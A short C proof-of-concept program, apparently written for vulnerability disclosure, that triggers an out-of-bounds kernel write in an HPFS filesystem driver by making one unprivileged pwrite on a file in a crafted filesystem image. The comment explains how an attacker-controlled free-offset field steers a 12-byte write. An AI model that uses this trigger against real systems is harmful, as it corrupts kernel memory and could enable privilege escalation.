/*
 * DF-3137 PoC — unvalidated ab_freeoff OOB write trigger.
 *
 * A single unprivileged pwrite that extends the file by one extent makes
 * hpfs_addextent/hpfs_addextentr insert a new alleaf via
 * AL_SET(AB_FREEALP(rabp), ...) at  (caddr_t)abp + ab_freeoff  with the
 * fully attacker-crafted freeoff baked into the image (12-byte write
 * {al_off, al_len, al_lsn} = {1, nlen, nlsn}).
 *
 * usage: poc <file>            (pwrite 0x8000 bytes at offset 512)
 */
#include <sys/fcntl.h>
#include <err.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

int
main(int argc, char **argv)
{
	static char buf[0x8000];
	const char *path;
	ssize_t n;
	int fd;

	if (argc != 2) {
		fprintf(stderr, "usage: %s <file-on-crafted-hpfs>\n", argv[0]);
		return 2;
	}
	path = argv[1];

	fd = open(path, O_RDWR);
	if (fd < 0)
		err(1, "open %s", path);

	memset(buf, 0x5A, sizeof(buf));
	n = pwrite(fd, buf, sizeof(buf), 512);
	printf("DF3137 pwrite rc=%zd (triggering extent insert at "
	       "abp+freeoff)\n", n);
	fsync(fd);
	close(fd);
	return 0;
}